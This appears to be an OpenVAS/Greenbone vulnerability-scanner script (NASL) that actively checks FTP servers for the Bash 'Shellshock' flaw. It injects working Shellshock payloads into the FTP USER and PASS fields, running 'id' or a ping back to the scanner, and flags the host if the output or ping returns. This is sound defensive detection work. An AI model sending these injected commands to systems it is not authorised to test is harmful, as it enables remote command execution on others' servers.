GNU Bash Environment Variable Handling RCE Vulnerability (Shellshock, FTP, CVE-2014-6271/CVE-2014-6278) - Active Check

# Copyright (C) 2014 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105094");
  script_version("2022-08-09T10:11:17+0000");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2014-6271", "CVE-2014-6278");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2022-08-09 10:11:17 +0000 (Tue, 09 Aug 2022)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-02-01 21:38:00 +0000 (Mon, 01 Feb 2021)");
  script_tag(name:"creation_date", value:"2014-09-30 11:47:16 +0530 (Tue, 30 Sep 2014)");

  script_name("GNU Bash Environment Variable Handling RCE Vulnerability (Shellshock, FTP, CVE-2014-6271/CVE-2014-6278) - Active Check");

  script_tag(name:"summary", value:"GNU Bash is prone to a remote command execution (RCE)
  vulnerability dubbed 'Shellshock'.");

  script_tag(name:"vuldetect", value:"Sends a crafted FTP login request and checks the response.");

  script_tag(name:"insight", value:"GNU bash contains a flaw that is triggered when evaluating
  environment variables passed from another environment. After processing a function definition,
  bash continues to process trailing strings.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote or local attackers to
  inject shell commands, allowing local privilege escalation or remote command execution depending
  on the application vector.");

  script_tag(name:"affected", value:"GNU Bash versions 1.0.3 through 4.3.");

  script_tag(name:"solution", value:"Update to patch version bash43-025 of Bash 4.3 or later.");

  script_xref(name:"URL", value:"https://access.redhat.com/security/vulnerabilities/shellshock");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/70103");
  script_xref(name:"URL", value:"https://access.redhat.com/solutions/1207723");
  script_xref(name:"URL", value:"https://bugzilla.redhat.com/show_bug.cgi?id=1141597");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210420171418/https://blogs.akamai.com/2014/09/environment-bashing.html");
  script_xref(name:"URL", value:"https://blog.qualys.com/vulnerabilities-threat-research/2014/09/24/bash-shellshock-vulnerability");
  script_xref(name:"URL", value:"https://blog.qualys.com/vulnerabilities-threat-research/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271");
  script_xref(name:"URL", value:"https://shellshocker.net/");
  script_xref(name:"URL", value:"http://www.kb.cert.org/vuls/id/252743");
  script_xref(name:"URL", value:"https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone Networks GmbH");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/banner/available");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

id_users = make_list( '() { :; }; export PATH=/bin:/usr/bin; echo; echo; id;',
                      '() { _; } >_[$($())] {  export PATH=/bin:/usr/bin; echo; echo; id;; }' );

port = ftp_get_port( default:21 );

foreach id_user ( id_users )
{
  id_pass = id_user;

  soc = ftp_open_socket( port:port );
  if( ! soc )
    break;

  send(socket:soc, data:'USER ' + id_user + '\r\n');
  recv = recv( socket:soc, length:1024 );

  send(socket:soc, data:'PASS ' + id_pass + '\r\n');
  recv += recv( socket:soc, length:1024 );

  ftp_close( socket:soc );

  if( recv =~ "uid=[0-9]+.*gid=[0-9]+.*" )
  {
    VULN = TRUE;
    break;
  }
}

if( ! VULN )
{
  vtstrings = get_vt_strings();
  str = vtstrings["ping_string"];
  pattern = hexstr( str );
  p_users = make_list(
                      '() { :; }; export PATH=/bin:/usr/bin; ping -p ' + pattern + ' -c3 ' + this_host(),
                      '{ _; } >_[$($())] { export PATH=/bin:/usr/bin; ping -p ' + pattern + ' -c3 ' + this_host() + '; }'
                     );

  foreach user ( p_users )
  {
    soc = ftp_open_socket( port:port );
    if( ! soc )
      break;

    pass = user;

    send(socket:soc, data:'USER ' + user + '\r\n');
    recv = recv( socket:soc, length:1024 );
    send(socket:soc, data:'PASS ' + pass + '\r\n');

    res = send_capture( socket:soc,
                        data:"",
                        pcap_filter:string( "icmp and icmp[0] = 8 and dst host ", this_host(), " and src host ", get_host_ip() )
                       );
    ftp_close( socket:soc );

    if( ! res  )
      continue;

    data = get_icmp_element( icmp:res, element:"data" );

    if( str >< data)
    {
      VULN = TRUE;
      break;
    }
  }
}

if( VULN )
{
  security_message( port:port );
  exit( 0 );
}

exit( 99 );